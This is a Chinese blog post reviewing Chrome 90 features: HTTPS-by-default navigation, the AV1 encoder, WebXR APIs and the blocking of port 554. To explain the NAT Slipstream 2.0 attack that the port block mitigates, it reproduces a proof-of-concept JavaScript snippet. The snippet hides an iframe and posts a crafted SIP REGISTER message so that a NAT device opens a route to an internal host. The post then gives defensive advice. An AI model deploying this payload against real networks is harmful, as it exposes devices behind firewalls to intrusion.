了不起的Chrome浏览器(2):Chrome 90将默认使用HTTPS,Web更安全了

摘要: 4月13日正式发布的Chrome 90,带来了哪些有意思的新特性呢?

背景

十多年来,Web技术突飞猛进,这其中,Chrome功劳是最大的,可以说没有之一。身处大前端这个领域,了解Chrome可以帮助我们理解整个行业的发展趋势。

其实,我一直都挺关注Chrome的,也写过一些关于Chrome的博客:

Chrome 89博客的过程中,我意识到,关于Chrome的写作,我可以做得更加专注、更加深入、更加体系化一些。这样,一方面我可以提高专业能力和写作能力,另一方面也可以提高影响力。我也希望自己可以在5年之内出版一本关于Chrome的书,毕竟出书是每一个写作者最高的追求。

因此,我将以《了不起的Chrome浏览器》为题,对Chrome的每一个版本进行详细解读,同时也会深入去介绍Chrome各方面的细节,分享一些自己一些并不成熟的思考,欢迎大家关注寒雁Talk公众号。

TL;TR

详细解读

A safer default for navigation: HTTPS

在浏览器地址栏输入URL,然后回车,之后发生了什么?这是一个非常经典的面试题。

Chrome 90开始,将会默认使用HTTPS协议打开URL,让这个面试题的答案变了一点点,喜欢背面试题的同学可以重点关注一下。。。

当我们输入example.com,Chrome 90之前的版本会默认访问http://example.com,服务端如果配置了重定向,则会重定向到https://example.com;而Chrome 90会默认访问https://example.com。两者具体的不同点如下图所示:

眼见为实,不妨简单测试一下(果然翻车了)。PS:测试之前需要:清除浏览数据,否则Chrome第二次访问时会默认使用HTTPS。

当我使用Chrome 89打开kiwenlau.com时,会发现第一个请求使用的是HTTP协议(http://kiwenlau.com/),返回状态301,重定向到https://kiwenlau.com/,之后所有的请求使用的都是HTTPS协议:

当我使用Chrome 90打开kiwenlau.com时,会发现第一个请求居然使用的依然还是是HTTP协议http://kiwenlau.com/),而不是HTTPS协议,这就很尴尬了:

我本来以为这是BUG,于是给Chrome团队提了一个issue:

根据回复,Chrome团队还在对这个特性进行灰度,如果希望开启这个特性,可以到chrome://flags把#omnibox-default-typed-navigations-to-https设为”Enabled”:

严格来讲,只有第一次访问kiwenlau.com的第一个请求使用了HTTP协议,貌似也没什么大不了的。不过,要知道HTTP协议本身是明文传输(其实HTTP/2也没有要求非得加密,只是所有的浏览器都要求HTTP/2必须加密,这样的话,只有HTTPS才能升级HTTP/2)的,这意味着网络中每一个节点都是能查看并且篡改HTTP的通信内容,想想是不是有点后怕,对于那些喜欢访问奇奇怪怪网站的同学。

如果使用Charles抓包来对比一下,可以发现,对于HTTP请求,Contents是明文:

对于HTTPS请求,Content是加密后的,看起来是乱码:

当然,对于支持HTTPS的站点,省去了HTTP到HTTPS重定向这一步,也是可以提高访问性能的,不过这个问题倒是其次的,毕竟只有一个HTTP请求,而且很多网站本来就很慢了,不在乎这几十毫秒。。。

Chrome一直在推进HTTPS协议在业界的应用,关于这一点,我之后写一篇博客详述(挖坑)。

AV1 Encoder

AV1的全称为AOMedia Video 1,是一个开源、免费的视频编码格式,编码效率更高。根据Netflix、Facebook的数据,AV1相对于VP9,可以将压缩效率提升20% ~ 30%左右。爱奇艺也在去年启用了AV1格式,可以节省20%的带宽。Youtube最新定制的视频芯片(VCU,Video Coding Unit)Argos也支持了AV1。

对于视频类应用来说,昂贵宽带费用一直是非常沉重的负担,这也是一些知名长视频网站一直无法盈利的关键原因之一(另外一个关键因素是内容成本)。根据爱奇艺最新的2020年财报,其2020年净亏损70亿人民币,其中带宽开支高达24亿人民币,占了亏损的34.3%。对于爱奇艺这种视频类应用来说,使用AV1这种更高效的视频编码格式,有利于减少宽带费用。

WebRTC的全称为Web Real-Time Communication,用于在Web应用中实现实时的视频和语音通信。其实WebRTC已经是个已经有10年历史的技术了,疫情的爆发促进了视频会议需求的爆发,使得WebRTC变得更加重要了。

Chrome 90支持了AV1 Encoder,用于优化WebRTC视频通信:提升压缩效率,减少带宽使用;支持30kbps以及更低码率的视频,服务低带宽的用户;优化了屏幕共享效率。

疫情在全球范围内爆发已经1年多了,这极大地增强了用户对于视频会议、直播的需求,AV1 Encoder这样的技术进步也可以帮助大家渡过现在的难关,这也是技术最大的意义。

AV1是由AOMedia(Alliance for Open Media)开发的,旨在取代Google开发的VP9,同时与需要收取专利费的H.263展开竞争。AOMedia其实也不是外人,Google是其核心成员,且AV1也是由Google主导开发的。作为程序员,不得不服Google对于技术进步推进是全方位的,哪里都能看到它的身影。关于Google是如何推进视频编码格式技术的进步,这又是另外一个话题了,我之后写一篇博客详述(再次挖坑)。

对于使用WebRTC开发Web视频会议应用的同学,不妨试用一下AV1 Encoder,也可以给大家分享一下到底效果怎么样。

WebXR Depth APIWebXR AR Lighting Estimation

WebXR Depth APIWebXR AR Lighting Estimation都是WebXR相关的特性更新,WebXR Depth API可以用来获取用户的设备与现实环境中物体的距离,WebXR AR Lighting Estimation可以用来获取环境的光线情况。

估计绝大部分人都没用过WebXR,所以还是先了解一下WebXR是啥…

WebXR其实就是在Web上开发AR(Augmented Reality)和VR(Virtual Reality)应用的API,AR和VR都是以字母R结尾,所以就取了个XR的名字。

WebXR Experiments,有一些WebXR的示例,可以让大家实际感受一下WebXR能干嘛。

比如,Sodar就可以用来测量2m社交距离:

还有一个没有正式发布的示例Picturescape,看起来还挺有意思的,不过没太看懂具体是做什么的,等正式发布之后可以再看看:

从WebXR的示例来看,目前WebXR所实现的应用还比较简单,毕竟VR和AR技术本身目前的应用也比较简单粗糙。我最感兴趣的还是其在游戏领域的应用,《头号玩家》中的游戏体验什么时候可以实现呢?拭目以待!

Feature: Block HTTP port 554

Chrome 90屏蔽了554端口,这是为了缓解NAT Slipstream 2.0攻击。注意,这里用的词是缓解而不是解决,Chrome没法从根本上阻止NAT Slipstream 2.0攻击。

NAT Slipstream是去年10月底由Samy Kamkar发现的一种非常巧妙也非常危险的攻击方式,后来他又与Armis研究员Ben Seri和Gregory Vishnipolsky发现了新一版的NAT Slipstream 2.0的攻击方式。

简单来说,受害者只需要访问黑客的网站,该网站嵌入了黑客的JavaScript脚本,黑客就可以绕开受害者所在的局域网的防火墙,访问受害者所在的局域网中的任意TCP/UDP服务。

大家不妨通过NAT Slipstreaming 2.0攻击演示这个视频感受一下整个攻击流程是怎样的。

受害者位于局域网中,局域网中连接的设备有受害者的智能手机、打印机、网络摄像头、打印机以及路由器,理论上局域网中的设备都是受到防火墙的保护的。而黑客位于Internet中,理论上是无法绕过防火墙直接访问局域网中的设备,比如打印机和网络摄像头。

受害者使用智能手机访问了黑客所提供的链接,攻击者成功绕过防火墙,获取打印机和网络摄像头的访问权限,远程给打印机发送打印任务,并且通过默认的账户密码远程访问网络摄像头。

如果你家的摄像头可以被黑客查看,是不是很可怕,赶紧把默认密码改了吧!

当然,如果打印机和网络摄像头都设置了比较严格的密码的话,攻击者也是没法访问它们的。所以,局域网中的设备也是必须做好安全防范的。但是这并不是重点,重点是攻击者绕过了防火墙,这又是怎么做到的呢?

Samy Kamkar的原文很长,所涉及的技术细节非常多,其实最关键的就是以下这段JavaScript代码:

// our sip message
var sipmsg = 'REGISTER sip:samy.pl;transport=TCP SIP/2.0\r\n' +
'Contact: <sip:samy@192.168.0.109:1234;transport=TCP>\r\n\r\n'

// load form in an iframe so user doesn't see it
var iframe = document.createElement('iframe')
iframe.name = 'iframe'
iframe.style.display = 'none' // hide the iframe

// create form
var form = document.createElement('form')
form.setAttribute('target', 'iframe') // load into iframe
form.setAttribute('method', 'POST') // need the POST area where we can add CRLFs
form.setAttribute('action', 'http://samy.pl:5060') // "http" server on SIP port 5060
form.setAttribute('enctype', 'multipart/form-data') // ensure our data doesn't get encoded

var textarea = document.createElement('textarea')
textarea.setAttribute('name', 'textname') // required
textarea.innerHTML = sipmsg
form.appendChild(textarea)
document.body.appendChild(iframe)
document.body.appendChild(form)
form.submit()

这段代码,其实就是发送了一个特殊定制的POST请求,而这个POST请求由于体积过大,会被分成多个TCP包。从代码中可知,这些TCP包所请求的端口是5060,这恰好是SIP协议所使用的端口。黑客可以通过定制POST请求的大小来控制TCP包,让其中一个TCP包恰好会被NAT设备理解为SIP REGISTER包,NAT设备看到这个包,则会为攻击者打开一个公网端口,并且转发到攻击者所需要访问的内网TCP服务,代码中为192.168.0.109:1234。这样,黑客就可以通过NAT上的公网端口来访问内网服务192.168.0.109:1234。NAT设备则傻傻地帮黑客转发请求。

这种攻击方式非常有创意,涉及的技术细节非常多,我之后写一篇博客详细解释一下(又挖了一个坑)。当然,这种攻击方式也非常危险,Samy Kamkar真是个天才,还好他是白帽黑客。

Chrome屏蔽端口这种做法其实也是治标不治本,黑客确实没办法给所屏蔽端口发送请求了,但是如果受害者不更新浏览器的话,还是会被攻击。要从根本上解决这个问题,还是需要NAT设备以及防火墙来想办法。

物联网时代,家里联网的设备越来越多了,作为用户,我们还是需要做好保护措施:

  • 更新最新的Chrome浏览器;
  • 加强局域网设备的安全保护措施,比如设置更加严格的密码;
  • 如果不需要的话,关闭NAT设备的ALG(Application Level Gateway);
  • 避免访问未知的URL;

当然,你可以选择断网,远离危险的互联网世界,哈哈:(

总结

在我看来,Chrome 90最重要的更新,是默认使用HTTPS协议,其实是非常小的改动,但是还是蛮重要的。可惜这个特性还在灰度发布过程中,并没有真正发布。HTTP裸奔的时代终于快要结束了,站在现在的角度去看过去,一想到以前Web居然是基于明文传输协议的,感觉那是一个刀耕火种的时代。当然,那也是一个伟大的时代,Web的诞生本身就是一件改变人类文明的事情,我们都是站在巨人的肩膀上。

另外,本文还介绍了AV1、WebXR以及NAT Slipstreaming相关的特性,重点放在了背景知识的介绍,这是因为这些特性本身对绝大多数开发者并没有什么价值,且比较枯燥无味,没有相关应用场景的同学基本上不会用到这些特性,不过这些关于这些特性的背景知识还是需要了解一下的,可以帮助我们更加全面的理解大前端的方方面面。《了不起的Chrome浏览器》之后的博客,我也会延续这种写作风格,希望大家能够喜欢。

我在文章后面裂了非常多的参考资料,这是我读研的时候写论文养成的习惯,只要我写的内容有参考过的资料,我都会列出来,这个其实主要是为了方便我自己以后查阅,其次是分享给感兴趣的读者。其中,有一些高质量的内容我把字体加粗了,不妨重点关注一下。

在写作的过程中,我也发现了3个比较有意思的话题,是可以进一步展开的,第1点是关于Chrome对于HTTPS技术推广所做的事情,第2点是关于Google推动视频编码技术进步所做的贡献,第3点是NAT Slipstreaming,后面我也会分别写博客介绍,欢迎关注。

欢迎关注寒雁Talk公众号,关注《了不起的Chrome浏览器》系列博客,与我一起见证大前端的星辰大海!

参考资料

招聘

阿里巴巴业务平台事业部长期招聘P6及以上前端大佬,参与建设最前沿的阿里前端生态系统,推动行业技术发展,内推地址:hanyan.lk@alibaba-inc.com

欢迎大家关注我的微信公众号寒雁Talk

关于Fundebug

Fundebug专注于JavaScript、微信小程序、微信小游戏、支付宝小程序、React Native、Node.js和Java线上应用实时BUG监控。 自从2016年双十一正式上线,Fundebug累计处理了30亿+错误事件,付费客户有阳光保险、达令家、核桃编程、荔枝FM、微脉等众多品牌企业。欢迎大家免费试用




您的用户遇到BUG了吗?

体验Demo 免费使用